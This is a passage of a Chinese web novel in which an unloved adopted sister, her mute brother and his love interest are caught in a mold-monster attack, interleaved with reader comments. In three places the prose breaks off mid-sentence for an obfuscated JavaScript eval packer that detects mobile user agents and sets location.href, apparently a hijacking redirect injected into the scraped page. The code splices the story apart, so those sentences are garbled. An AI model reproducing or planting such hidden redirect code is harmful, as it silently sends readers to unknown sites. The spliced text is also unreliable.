“路过觉得这项链还不错,给你买了一条。”周听砚带着混血感的五官充斥懒散的笑意,“过生日我总要送你点什么,你也是我的员工,免得你背地里骂我小气。” [傲娇怪。] [好好说其实你早就准备好了,给她定制的钻石项链当生日礼物又怎么样呢,这个嘴呀!] 周听砚强势继续:“不用太感谢我,接下来你要陪我去做件事。” 正在准备猫砂盆的陈晓薇手指顿住,回身看向时钟。 舒渺陪着周听砚去看奶奶了,这样的话,就算他们见到面就离开,回程也需要两小时。 这不就耽误原本跟她约好吃午饭的奚冀了吗? 猫两只短短的,毛有些稀疏的前爪搭住猫砂盆边缘,圆溜溜的瞳仁因为室内的光线并不强烈,所以全部睁开,好奇地歪头瞧眼前给它修建厕所的人类。 陈晓薇收好猫砂袋子,戳戳猫额头上的火苗花纹。 “喵——” 沙哑的猫叫,有点像嘎嘎叫的小鸭子,它还没能掌握好怎么跟人类撒娇。猫有些尴尬地甩甩尾巴,蹭陈晓薇的手背,喉咙里呼噜噜地响。 “还没给你起名字……嗯,叫希望怎么样?” 陈晓薇说完就暗暗摇头,希望是留给拥有明天的人的,而陈晓薇的明天还不知道何去何从。 “这名字跟奚冀太像了,他肯定觉得,我是故意给你起这名字来气他的。” 长毛橘白被纤细秀气的手捞起,四条腿软软垂着,任由陈晓薇带着它低空飞行……降落在盛满温水的盆里。 唐圆说得不错,这猫的脾气很温和。 即使怕水,瑟瑟发抖,也没有跳出盆外,就可怜兮兮地喵喵叫,希望陈晓薇快点把它捞出来。 “叫你圆满吧。” 陈晓薇用毛巾裹好香香软软的猫,轻声说道。这也算是她的心愿,希望能拥有一个圆满的结局。 吹完毛的圆满在陈晓薇的臂弯里好奇地四处瞧。 一楼客厅里,奚冀陷在沙发里的背影带着难以言说的落寞。听到电梯声,他淡淡回头,视线跟陈晓薇短暂接触后,就收回去了。 被放鸽子的哥哥看起来有些可怜,陈晓薇却乐不得见到这场景。 她抱着猫走近,提起圆满的一只前爪。 “跟舅舅打招呼。” “Hi.” 猫夹着嗓,仰头瞧陈晓薇,依旧难听地喵喵叫。不像是跟奚冀打招呼,倒像是在对她的声音做出呼应。 \ 奚冀端正地坐在沙发里,沉默等待。 西装衬得他清俊矜贵,腰身修长,浅淡的唇绷成直线,蕴着寒霜似的淡漠。 陈晓薇的视线落在茶几上,那里正摆着一个文件袋,看起来是奚冀给舒渺准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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-没关系,今天是你的生日,你无须因为这种事情而跟我道歉。但我有点东西想给你,咱们约个地点见面吧。 -几分钟就好。 舒渺将手机合拢在心口,奚冀这样放低姿态,使得她那些因为陈晓薇产生的怒气都被冲淡些,至少奚冀还是在意她的。 思索几秒后,舒渺将见面的地址告诉奚冀,就在程俊家的附近。 程俊还在厨房做菜,隐约传出来的油盐酱醋气息使得这不大的房间充满烟火感。舒渺喝茶润润嗓,打开奚冀刚才送给她的文件袋。 棕色的文件袋被微雨打湿。 她的包里常年装着化妆品和雨伞,挤得这纸袋有些变形。舒渺抖抖文件袋,边跟程俊讨论小时候的事情,边将文件抽出来,顺手去摸摸里面还有没有东西。 “是啊,那年的鞭炮——”舒渺顿住,凝视自己的掌心。 那是几簇绵软得看起来像是细细绒线的猫毛,黏着皮肤,根本抖不掉。 舒渺尖叫,冲进浴室,打开水龙头冲水。 这是奚冀送她的东西,按理来说,里面不可能出现猫毛,因为奚冀明知道她对猫毛过敏。 那就只剩陈晓薇了,舒渺咬咬嘴唇。 她烦躁地将栗色长卷发扒拉到背后,见手腕的猫毛都被冲掉,心底那些被招惹出的戾气还是没有消失。 听到舒渺的尖叫,程俊快速关掉燃气,甚至没意识到自己还握着锅铲。 他关切地望过去,橘色猫毛还黏在水池边,程俊的眉头皱起来:“哪里来的猫毛?” “可能是,客户给我送的文件,不小心沾上的。”舒渺勉强笑笑,“也许他家里有猫吧。” “咱们去医院。” 舒渺欲言又止,陈晓薇阴魂不散,上次她说得很清楚,她绝不会再任由陈晓薇欺负。 必须做点什么。 退一万步说,就算他们俩有关系,那也是奚冀先喜欢她的,关她什么事,陈晓薇凭什么只报复她。 既然警告没有效果,那就必须得让陈晓薇消停一段时间。 舒渺垂眼,嗓音轻柔:“你把那文件袋也带着,里面的东西对我很重要。” [程俊好在意渺渺啊。] [看到这觉得作者没有皮肤过敏过,如果常年对某种东西过敏的话,身边肯定是备着抗过敏药的。] [在这种时候找什么逻辑啊,不是挑刺吗?] 舒渺进急诊了。 10. 10 奚冀来到陈晓薇面前,怒气冲冲地质问她,为什么要往他的文件袋里放猫毛。 -你知不知道舒渺对猫毛过敏,她现在在医院。 陈晓薇当然知道。 罪魁祸首总是最清楚自己的犯罪过程,陈晓薇瞟一眼满脸阴郁的奚冀,舀舀果仁粥。 她得细嚼慢咽,不然要胃痛的。 -快点吃。 “做什么?”陈晓薇明知故问,奚冀是想带着她去给舒渺道歉。 薄切红薯片安排剧情的时候很没有新意。 总是在重复着“陈晓薇招惹舒渺-奚冀心疼舒渺-跟陈晓薇吵架-陈晓薇变本加厉欺负舒渺”的循环。 那些不是源于本心说出的话语、做出的行为,都是作者借她的手来害舒渺。本质上,是在用可怜置换爱情的叠加。 这是真正的爱吗?陈晓薇有些困惑。 这样看,薄切红薯片也不懂爱情,不懂爱情的人怎么能写出积极健康的爱情故事呢。 -你对舒渺做这种事,难道没有一丝愧疚吗? 陈晓薇无所谓地耸耸肩,反正奚冀和舒渺早晚要把她送进监狱的,也不知道她哥送她进监狱的时候会不会也有愧疚。 -别吃了。 奚冀强行将陈晓薇拽走,室外阴冷的风灌进来,将穿得单薄的陈晓薇吹得透心凉。 \ 陈晓薇的高跟鞋哒哒踏过瓷砖。 输液室的病人很多,有的低声聊天,有的仰头瞧墙边的电视剧解闷儿。 舒渺的栗色长卷发全部披散开,圆圆的小鹿眼染着疲惫,正披着一件明显是男款的外套挂水。 随着奚冀和陈晓薇走进来,光鲜亮丽的年轻人们总是会吸引到众人的注意力。 舒渺抬眼,恰好迎上偷偷翻她白眼的陈晓薇。 “你怎么带她来,我不想看见她。”舒渺的语气冷硬,没忘记将输液管挪开,免得陈晓薇说几句话就发疯来拔她的针头。 [笑死了,女配纯疯子啊。] [渺渺看到陈晓薇就自动开启防御模式,好可爱。] “我还不想看见你呢!”陈晓薇语速极快回怼,半分都不想吃亏的模样。 奚冀严厉地瞪她,握住陈晓薇的手腕将她往前拽,将趾高气昂的陈晓薇拽得踉跄,头发都飞到脸颊边。 -快道歉。 陈晓薇委屈地瘪瘪嘴,面对哥哥,嚣张跋扈的气焰顿时消散得无影无踪。 “谁知道她对猫毛过敏呢,我怎么清楚。” -你不要找借口,道歉。 完全不留情面,陈晓薇哪里见过奚冀这么严厉的态度,眼泪顿时浸满眼眶,站在原地,倔强地望着哥哥不出声,隐隐抗衡着奚冀谴责的视线。 “算了。”舒渺叹气,本来想跟陈晓薇当面对质,但现在瞧着她的模样,她不会认错的。 简直无可救药。 舒渺单手有些别扭地抽出文件袋,递给陈晓薇:“把你的东西还给你,道歉如果不是真心的,那也没必要听。” -来的时候,我是怎么跟你说的? 沉默半晌,陈晓薇终于破防:“对不起!真讨厌,我讨厌你们。” 她泄愤地把文件袋拍掉,怨恨地瞪瞪舒渺,又瞪瞪旁边看戏的路人,最后瞪瞪奚冀,踩着高跟鞋气呼呼跑开了。 正在播放的电视剧里,聪明的女主角已经找到恶毒女配犯罪的证据,决定将她送进监狱。 \ 走出急诊室的陈晓薇面无表情蹭掉眼泪。 她没有错过正在给舒渺取药的程俊,还有从停车场的方向往急诊中心疾步走的周听砚。 [作者为了把三个男嘉宾凑到一起,真是连逻辑都不顾了。] [拜托,医院都是周听砚家的,知道渺渺进急诊不是理所当然的事情吗?] 陈晓薇沉默站在原地,夜晚的风吹起她的碎发。 输液室里,舒渺泪眼朦胧地询问奚冀,为什么放任自己的妹妹欺负她。 奚冀沉默地垂眼,正待说什么,取药的程俊已经回来了。 见到陌生的男人蹲在舒渺面前,甚至伸出手,程俊立刻上前将奚冀推开。 [打起来打起来!] [感觉程俊一拳可以打三个奚冀。] [楼上别搞笑了,奚冀才更有可能赢好吗?] [不是看起来壮就力气大的,程俊是程序员,每天熬夜的人能有多好的身体?奚冀又健身又散打又游泳,有钱人家培养孩子很全面的。] [等等,谈论武力值的时候为什么没人提周听砚啊?] [老师,我们家子涵呢?] [想赢周听砚还不简单,偷他胃药。] 当事人周听砚已经火急火燎地赶往现场,三个男人围着坐在休息椅上的舒渺,让舒渺有些尴尬地摆摆手,说让他们都回家吧。 三个人面面相觑,谁也不愿意离开。 程俊见情敌变成两个,干脆建议等舒渺挂完水,他们一起去程俊家里给舒渺过生日,他的满汉全席还在温着。 在场没有人提出异议。 [笑死,气氛好诡异。] [史诗级同框,怎么开始莫名其妙地拼酒量了啊,哈哈哈哈。] [不要小瞧男人的胜负欲啊。] 看到这,窝在房间里拿着逗猫棒的陈晓薇顿住。 因为她的犹豫,圆满抓紧时机,纵身一跃,用刚刚吃完猫粮的圆滚滚肚皮压住逗猫棒,对毫无反击之力的绒毛进行无情的啃咬和抓挠。 争风吃醋的拼酒局里,最先败下阵来的就是周听砚。 [可恶啊,胃药都吃三片了,怎么还是没顶住。] [笑死,大家都好损啊。] 第二个败阵的是奚冀,他将额头抵到桌边,前来接他顺便留下吃饭的助理小何坐在他的旁边。见奚冀良久没有抬头,才发现他已经睡着了。 小何为难起来,看着几乎没有反应,脸颊酡红的奚冀。 他身材瘦小,如果没有人帮忙,靠着自己根本搬不动烂醉如泥的奚冀。 眼神发愣的程俊建议把奚冀扔到沙发上,明早再说。小何不断地抓挠头发,就在手足无措的时候,陈晓薇的短信跳了进来。 -我在门外。 简直是救星,小何的眼睛亮起来。 真正喝醉酒没有意识的人,就是一坨沉重的烂泥。 陈晓薇庆幸自己已经换了舒适的鞋,不然她绝对会崴脚。她跟小何一人一边将奚冀扛起来,踉踉跄跄地往外走,忘记瞪程俊和舒渺了。 不得不说,奚冀的酒品还是很好的。 没有手舞足蹈,只有呼吸带来的绵长酒气。浑身的香味儿恰好综合起来,闻着并不刺鼻难闻。 又或者她太喜欢奚冀,所以拥有哥哥滤镜。 无论他怎么样对待她,陈晓薇都不会发自内心地厌烦奚冀。 他们俩将安静的奚冀放倒在他的卧室床上,小何起身就要告辞。 “等等,”陈晓薇面露尴尬,“帮我给他换身睡衣。” 趁着小何帮奚冀换睡衣的时间,陈晓薇回到自己的房间,圆满正在不断地挠门,见到她回来才亲热地过来蹭她。 “不能随便让你跑呀,我怕我找不到你。” 棉花糖似的猫沙哑叫一声,讨好地舔陈晓薇的手指。 帮奚冀换完衣服的小何这次是真的告辞了。 陈晓薇不放心奚冀,干脆守在他的床边,盯着奚冀几秒,她起身拿起枕头,打算垫到哥哥的身侧,使他能够侧着睡。 醉酒的人最好不要平躺,有风险。 只是……沉浸在醉酒幻梦里的奚冀沉得她没抱住,差点没摔在奚冀身上。 陈晓薇及时撑住胳膊,稳住自己的身形,有些愣头愣脑地抬头瞧。 从这个角度看,奚冀的唇形很完美,下唇微微有肉,泛着体温过高的润泽,柔软得不像话。 “睫毛也很长……” 睡着的模样就像是那年在病房里初见奚冀,像是一件清透的玻璃摆件。 其实趁着现在偷偷亲他的话,奚冀也是不会知道的吧。 陈晓薇几乎是着魔地盯着哥哥瞧,甚至忘记,她刚才只是想给奚冀垫枕头。 就在她的思维发散得越来越离谱的时候,床边突然出现两道毛茸茸的猫爪。这高度对于小猫来说,想要跳上来还是有点吃力,还好它锋利的爪子勾住床单,才能攀上来。 圆满走到奚冀的颈边,闻闻烂醉的舅舅,随后用山竹似的猫爪毫不留情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16535922|186551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地踩住奚冀的脸。 蹬着舅舅的脸,眨着圆溜溜的眼睛歪头蹭陈晓薇。 回过神来的陈晓薇连忙将猫抱进自己怀里,免得奚冀的脸像床单似的,被戳出洞来。 她刚才的想法真不好,奚冀此刻没有意识,这不是趁人之危嘛。 真是卑鄙。 数字时钟跳跃到零点。 陈晓薇趴在床边,双臂撑着自己的脸摇摇欲坠。 脸颊肉都被怼得挤在一起,看起来十分喜感,而她的胳膊中间,还蜷着一只长毛的橘白小猫,正呼呼睡得香。 迷蒙睁开眼睛的奚冀因为头痛而皱眉。 有些摇晃的昏黄环境里,只有远处的台灯还亮着暖黄的光,守着他的陈晓薇看起来温和可爱。 完全不像是会恶意塞猫毛进文件袋的人。 奚冀幽幽叹气,伸手想把陈晓薇唤醒。 “哈——” 蜷着的猫警觉地露出尖牙,并跃跃欲试地抬爪,打算挠花奚冀的手背。 奚冀歪歪头,幸好小猫的哈气声吵醒本就没有睡实的陈晓薇。瞬间,那些脖子的酸胀和手腕的痛感都迟钝地袭来,惹得陈晓薇皱起苦瓜脸揉手腕。 “哥,你醒啦?”她眯眼瞧奚冀,“有没有哪里不舒服,张阿姨给你准备了解酒药。” -你为什么要往我的文件里放猫毛? “我……我也不想这样。” -我想舒渺说得对,我对你太纵容了,所以你才一而再,再而三地这样欺负舒渺。 陈晓薇沮丧地搓搓脸,无可辩白。在奚冀的眼里,自己就是打算把舒渺往死里整的恶毒妹妹,屡教不改,阴魂不散。 -可我拿你没办法。 -我不知道怎么样才能让你收敛,但我以后会避免让你和舒渺见面,现在回去睡觉吧。 陈晓薇犹犹豫豫地望向时钟,眼含期待。 “你没有别的事情想跟我说吗?” -我对你无话可说。 -不管是谁的劝告,你都不会听的,不是吗? 陈晓薇沉默地捞起猫,慢吞吞走到门边回望,奚冀看向她的神情是那样的坚决。 她难以忍受地咬咬嘴唇:“你真的不想祝我生日快乐吗?” 奚冀闻言,难得地僵住了。最近这段时间他满脑袋都是要送舒渺什么生日礼物,完全忘记,第二天就是陈晓薇的生日。 -是我疏忽。 -明天睡醒,我给你准备礼物。 “我不要。”陈晓薇环顾四周,快步拿起平时点香薰用的打火机,塞进奚冀的手里,倔强盯着他,“我不要礼物,我只要一个愿望。” 简直是孩子气的做法。 奚冀呼气,将那些因为醉酒而产生的困倦呼出去。 见陈晓薇执拗望着他,旁边还有神情严肃的毛茸茸“监工”,奚冀只能摆正身体坐好。 啪。 火苗亮起,台灯能照亮的地方有限,打火机成为另外的光源,照亮昏暗卧室的一小方区域。 陈晓薇双手合拢,面目在烛火里模糊不清。 奚冀觉得这样的陈晓薇好陌生,略有些沉重的呼吸声中,陈晓薇低垂着眼帘,凑上前,小心翼翼地吹奚冀的手指。 “我的愿望,一定会实现的。” 虔诚,低沉,心怀忐忑。 柔软的呼吸使得奚冀被烫到似的,立刻将打火机关掉,暗自摩挲手指。 -你想要什么,明天我买给你。 陈晓薇没有回答,转身就走。 乖巧蹲在床边的圆满立刻跳下床,亦步亦趋地跟在陈晓薇脚边。 室内变得极度安静。 奚冀卷着被子躺好,眼前都是陈晓薇那张莫名含着悲悯的脸,不知不觉间眼皮沉沉。 数字时钟显示的时间在不断交替。 本该沉沉睡去的奚冀纤长卷翘的睫毛轻轻颤,睁开了眼睛。 他好像不认识自己的卧室了。 又像是依旧在睡梦里没有醒,定定地注视天花板很久,才捂着头痛欲裂的额头坐起来。 黑夜里,瘦削的人影静静坐着,几乎与黑暗融为一体。 啪。 打火机的光苗升起,给这冰冷的卧室内,增添一丝暖光。 11. 11 “亲爱的观众朋友们,欢迎您收看晨间新闻。” “近日,我市街道频繁出现不知名的黏土状霉斑团,现在让我们跟随记者的镜头……” 防护严实的记者握着麦克风靠近正蹲在成堆霉块旁边的专家。 “请问赵教授,您认为这种霉斑团是如何形成的呢?” “有可能是最近的,这个极端天气,造成的细菌滋生。具体说怎么形成的,我们需要取样带回实验室做详细的分析。” “另外,提醒市民朋友们,如果在您的身边,发现此类霉斑,请不要用手直接碰触,注意防护。” “日常生活中,要多锻炼,提高身体素质及免疫力……” 新闻给霉斑的篇幅并不多,很快就跳跃到城市的花展安排。 张阿姨边瞧着新闻,边拧着眉将陈晓薇堆满客厅桌面的生日礼物归置整齐。 霉斑的画面已经切走,但冲击力仍残存着。 那渗着墨绿色汁液的霉斑仿佛是多种细菌混合发酵出来的。像夏天的时候,垃圾桶渗出来的黏糊糊液体。 隔着屏幕都能闻见令人作呕的咸腥臭味。 “不行,我得……”张阿姨念念叨叨地起身,却被下楼的奚冀吸引到注意力,瞪圆眼睛,“哎呦,你的脸怎么啦?” 正吃甜点的陈晓薇抬头。 只见奚冀的嘴角泛着明显的淤青,他皮肤白,淤青像是透明皮肤底层渗出来的青灰色血液。 嘴角两边的淤青极度对称。 奚冀摇摇头,示意自己也不清楚,早晨睡醒就这样了,现在手指碰到嘴角,仍然止不住地抽痛。 -也许是昨晚睡觉的时候磕到的。 “怎么能磕成这样,你的牙齿没事情吧?”张阿姨走近端详,“这也不太像是摔到哪儿磕出来的,怎么像拳头打的。” 分析来分析去,得到的结论是奚冀以后要少喝酒。 陈晓薇沉默着去翻药箱,暗暗懊恼,昨晚应该守着哥哥睡觉的。可是,浸满碘伏的棉签举起来,她又想起昨晚,奚冀遥遥望向她的冷漠视线。 “嘶——” 吃痛的奚冀忍不住后仰,陈晓薇回过神来,他们的视线相撞,奚冀试图用转移话题来分散注意力。 -生日快乐。 -今早小何把生日礼物送到了吗?我让他挑—— 陈晓薇的棉签再度追击,完全没收着力道,把奚冀疼得差点原地跳起来,虚虚捂着嘴角瞧她。 漂亮的眼睛眯起来,甚至有点可怜。 陈晓薇轻笑,故意不答话,再次将棉签浸泡到药里。 闷笑的模样落在奚冀的眼里,就像是在庆贺报复他成功,这种小得意使得奚冀心底那些忘记陈晓薇生日的愧疚又被勾缠出来。 缓缓启唇呼吸后,奚冀放下遮掩的手,抬脸凑到陈晓薇面前。 仿佛是说,如果这样你会开心的话,那你就继续吧。 陈晓薇怔愣。 她不由自主地想,如果询问她爱上奚冀的理由,她会回答:因为此刻。 哥哥愿意放任她胡闹的此刻,点滴平常的此刻,无数次发生又无数次心动的此刻,共同汇聚成多年来对奚冀的在意和爱慕。 随着时间叠加的爱意沉沦。 陈晓薇轻柔无比地继续涂,眼底满是认真,轻声说:“以后别喝酒了。” 涂完药,奚冀就遮掩严实地出门去了。 张阿姨这边翻找出消毒液,就急匆匆跑出来,要给经常出门的雇主们塞进衣兜里备着。 “奚冀呢,还没拿我准备好的消毒液!” “去应酬了。” 陈晓薇低声回应,但她清楚,这都是奚冀的借口。其实奚冀是去赴舒渺的约,就像昨晚说的那样,他会避免舒渺跟陈晓薇见面。 他们约好律师会面,谈谈财产官司的事情。 “那晚上你有没有想吃的菜呀,今天是你的生日,随便点菜。” 陈晓薇还没从失落的情绪里抽离,勉强笑笑:“随便吧,我吃什么都可以……我等会儿出去逛逛。” 张阿姨连忙将消毒液塞进陈晓薇的衣兜里,叮嘱她进门前喷喷。 秋风袭来的季节总是散发着浓郁的萧瑟。 天边青灰色的云缓慢翻滚,像是酝酿着暴雨。 陈晓薇本来是漫无目的地开车,却不知不觉间走到奚冀和舒渺见面的咖啡店。 她恹恹地趴在方向盘上,看着店门口发呆。说实话她根本不知道自己为什么想来这里,这简直是自取其辱。 奚冀用心对待舒渺这件事,就像锋利的刀,会把她割得鲜血淋漓。 她却不厌其烦。 伤口还没好,就着急地再次让伤痕被割开,反复的痛意,好像能验证她多爱奚冀似的。 完全是……自我感动罢了。 陈晓薇叹气,视线看向更远处。 天际的青灰浓郁到周围的光线都黯淡,明明是晌午时分,却像是薄暮冥冥。 陈晓薇漆黑清亮的眼珠却慢慢聚焦街角,瞳孔渐渐放大。 ——路牌边,站着一个持刀的漆黑身影。 他很快就注意到一个胳膊肘夹着伞的女孩,那女孩背对着他,沉浸在电话内容里,连身后沉重的脚步声都没有听到。 “嘀——” 刺耳的鸣笛声在这堪称狭窄的小路响起。 打电话的女孩下意识抬头,却只看到一道反射着黑漆漆阴影的刀光,肾上腺素狂飙的几秒钟,她意识到什么,悲哀地看向手机,嘴唇颤抖着却没说出话来。 甚至没有给她告别的机会。 黑夜沉沉地覆盖。 她失去光彩的眼眸里,倒映着的完全不是人。浑身的皮肤都长满霉斑发酵后溢出的菌丝,使它看起来像是披着野兽皮毛的怪物。 陈晓薇眼眶发烫。 影视剧里见过再多的血腥场面,依旧无法对此刻增添一丝的镇定。 看到同类浸在鲜血里抽搐,看到因为她的鸣笛而被扯到自己身上的危机,陈晓薇抖如筛糠,浑身的力气都被抽走。 她哆嗦着手指确认车门好好锁着,遥遥跟那人形的怪物对视。 在她的车发出启动的嗡嗡声后,对方似乎意识到她打算撞过来,居然快速将目标锁定咖啡店,拉开门跑进去。 店门悬挂的铃铛摇晃。 陈晓薇的脸色苍白如纸。 奚冀还在里面,她什么都顾不得了,慌张下车。 此刻只剩一个念头:她得去找奚冀。 奚冀还在人群里,他没法说话,如果他遇到危险,甚至没办法呼救。 \ 咖啡店柜台里,服务员的尖叫声打破平静。 西装革履的律师回头瞧,刚喝进嘴里的咖啡液就那样不受控制的,从嘴角流下来,染湿他的衣服。 舒渺紧张地攥住奚冀的衣袖。 咖啡店嘈杂起来。 空气里香醇的咖啡味变成死亡来临的前兆,闻起来很苦涩。 “什么怪物啊!” 有人躲到餐桌底,但被拖着脚腕拽出去,霉斑挤压而迸溅出的墨绿色汁液顺着脚腕流淌,滴滴答答。 即将死去的恐惧,导致那被抓住的人拼命用胳膊扒拉着地板往前爬,祈求着脱离桎梏。 更多的顾客选择在这时候,往门外跑。 拥挤,混乱。这是人类深刻在基因里的对死亡的恐惧,无关乎需不需要道德谴责,只是趋利避害的天性。 陈晓薇逆流前行,却被推搡来推搡去,难以靠近店门。 “都别挤,这样咱们谁也跑不掉!” “我的手!” “哥!” 陈晓薇呼唤奚冀的声音被淹没在惊恐的尖叫里,这么多人往外跑,却没见到奚冀。 血腥味和甜腻的香气混合,产生一种令人作呕的味道。 律师仗着年轻,硬生生从拥挤着的人群里挤出去,撞得陈晓薇踉跄。咖啡店的门已经因为肩膀的层叠挤压而发出吱呀呀的抗议声。 舒渺惊呼。 被奚冀保护着往外跑的她突然身体失衡,跌坐在地。 原来是她不小心踩到别人慌乱间扔掉的餐刀,摔倒的时候恰好跪在刀刃的锯齿边,血液喷溅。 “奚冀……” 奚冀立即跟着蹲下,打算将舒渺扶起来。 然而,很不妙的是,他们现在的位置恰好在过道边,那浑身覆满霉斑的怪物已经逼近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16535923|186551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 奚冀白着脸,像是下定什么决心似的,拎起旁边的铁质餐椅。 -你先走。 舒渺胳膊撑起绵软的身体,想站起来却失败。 “不行……”低头才瞧见,腿上的伤口正往外渗着殷红的血迹,她只能艰难地咬牙往后挪。 那霉斑人是一路撞着桌角和凳腿来的,在叮叮当当的杂音中,舒渺恐惧闭眼,她不敢看奚冀也被杀掉的画面。 然而下一秒,舒渺就被巨大的嘈杂声震得睁开眼睛。 奚冀还站在她的身前,从他僵硬的肢体动作中,能看得出来他也很惊愕。 舒渺的视线下移,是蓄力冲进来将怪物撞得扶住桌角的陈晓薇。 她平时就没有血色的脸颊现在恍如白纸,剪裁得当的外套半边,满是黏腻的墨绿色汁液。 正不断粗喘着。 猝不及防被身后袭击撞出去的霉斑人站稳身体,回头望着他们。 那张根本看不出五官的脸,在这短暂的沉默里,呈现出巨大的杀意。 奚冀朝着陈晓薇的方向迈步,裤腿却突然被攥住,眼前发黑的舒渺有气无力:“奚冀,我的腿受伤了,没办法走。” 奚冀咬咬牙,将舒渺抱起来。 她攀住奚冀的肩膀,心脏狂跳。 这段时间奚冀对她有多好,她心里清楚。 在这种生死攸关的时刻,奚冀都以她的安危为重心,在意的程度不必多言。 舒渺突然觉得,那些曾经令她望而却步的东西,身份差距、奚冀家人的讨厌在此刻都化为飞烟。 奚冀重视她就够了,她看向被留在原地的陈晓薇,眼底溢出胜利的微笑。 [说实话啊,我先叠甲,父母双全有车有房,从小就是三好学生。你们不觉得这里女主和男三的人设都有点崩吗?] [没觉得。] [所以你觉得哪里崩了呢?] [女主就必须得圣母玛丽苏,在这种时候也豁出命来救别人吗?即使那是曾经好几次害她的女配。] [但女配确实在这时候救他们了呀,他们就这么离开emmm] [搞清楚好吗?女配可不是为了救渺渺,是为了救男三。再说就按照女配的性格,今天这事过去,她不一定要借此机会跟奚冀讨多少债呢,你等着瞧吧。] [无脑小甜文整啥价值观哪,男女主甜不就行了吗?好看爱看,渺渺的内心既然已经转变,那就快点把奚冀拿下,现在连个亲亲都没有,男三党渴死了。] [其实挺公平的,男三选了自己在意的女主,女配选择了自己在意的男三,都是自己愿意的,谁也没办法。] [是的,都是自己选的哈,估计女配也要变成霉斑人了。] [太好了,这讨厌的角色终于要下线了。] [感情就是这样对比出来的,真正在意谁,是会下意识流露出来的。] \ 陈晓薇身体里积蓄的勇气似乎都随着奚冀毫不犹豫离开的背影而消散了。 霉斑人在喀拉喀拉的活动脖颈的声音中,缓步走向她。 陈晓薇不断后退,最终将背贴着墙面。 恐惧到极点,她的牙齿都在打颤,说不出话。 什么叫……她要下线了。 陈晓薇腿软地滑落,霉斑人蹲在她面前,平视陈晓薇惊惧苍白的脸。 即使没碰到她,那些长着菌丝的霉斑似乎也透过毛孔扎进她的皮肤里,让她浑身都痛起来。 “你很伤心吧。”怪物嘶哑着说道。 眼泪从脸颊流淌,陈晓薇看着对方玩味地在手心里转刀,咬住嘴唇尝到了血腥味。 “跟你没关系。” 陈晓薇的眼眶止不住地发酸,她的心在为即将到来的宿命颤抖。 就在这时,她的余光注意到咖啡店外,隔着光洁玻璃,有道人影正趴着瞧他们。 ——头发打绺遮住眼睛,状态癫狂的人。 是那暴雨天拦在她车前的人。 陈晓薇身体微倾,那女人立刻像受惊兔子似的,原地蹦起跑开。随着这细微的动作,她感觉到衣兜里有什么东西轻轻地磕到了她的腿。 是张阿姨硬要塞给她的消毒液。 12. 12 张阿姨塞给她的时候叮嘱过,这东西掺杂了好几种强力杀菌剂,不要直接接触到皮肤。 本意也只是给陈晓薇喷鞋底用的,免得她踩到路面上的霉斑。 谁会想到,霉斑居然还能爬到人身上,扎根皮肤,简直是惊悚故事。 陈晓薇后颈发凉。 看到陈晓薇的精神已经被击溃,霉斑人终于获得掌控别人生命的快感。 “可以送你去——” 呲呲呲呲。 陈晓薇疯狂摁喷瓶的同时,免不得吸入些雾状的消毒液,引得她的鼻尖发酸,眼角被刺激得像是要流血。 这是她仅有的反抗方式。 她没想到这霉斑人的反应会那么大。他瞬间倒地哀嚎,不断抓挠那些接触到消毒液的皮肤。 霉斑覆盖的皮肤使得他只能徒劳地隔靴搔痒,无法压制那些刺痛到骨缝里的痛和痒。 陈晓薇恐惧至极地贴紧墙壁,慢慢将酸软的腿往门的方向挪。 “这是什么东西——” 霉斑人抱头翻滚,带着想把五官磨平的力道,用脸蹭地砖,希望以此减轻痛苦。霉斑化成的墨绿色水痕缓缓从他的脸底渗出来。 怨恨,扭曲,布满血丝的眼珠死死瞪着陈晓薇。 陈晓薇撑住墙,踉踉跄跄地朝着门外跑。 恐惧至极的时候四肢都是软绵绵的,不受控制,现在应该逃离,她却不由自主地望向那女人逃跑的方向。几十秒而已,她已经跑出半条街了。 莫名在意。 事情是从暴雨天见到对方,摸到《霉斑》开始不对劲的。 这衍生自薄切红薯片灵感的世界,霉斑肆虐,跟笔记本封面上的名字相同。 她似乎已经攥住秘密的面纱,只待揭开。 “别跑,我有话想对你说!” 秋季的衣物限制陈晓薇的速度,她干脆在冷风里甩掉外套,长发飞扬。 “站住!” 但那人只是受惊兔子似的继续往前窜,慌不择路。 “我不是坏……”陈晓薇被风呛得咳嗽,忍不住气短,“我有话——” 陈晓薇呼吸紊乱,不敢相信地在冷风倒灌的胡同里转身。 她眼睁睁看着对方跑进来,现在却消失了,仿佛融化在空气里。 陈晓薇紧张地咬咬嘴唇。 所以是,她不甘心这样戏剧化地死去,虚构出来的救命稻草吗? 就像梦境里,攥住希望的紧张时刻总是要惊醒的,她的救命稻草也化为乌有。 咖啡店门口已经拉好警戒线,挤满看热闹的人群。 只穿着毛衣的陈晓薇从重重叠叠的肩膀缝隙里望进去,霉斑人已经不见踪影,只剩满地的墨绿色水痕,像是一滩脏水。 面色惊惶的店主正磕磕巴巴地说自己店里有监控可以提供。 陈晓薇忍着寒冷咬牙坐进车里,手臂颤抖着开回车库,将今天穿的牛仔裤和鞋全都扔进垃圾桶。 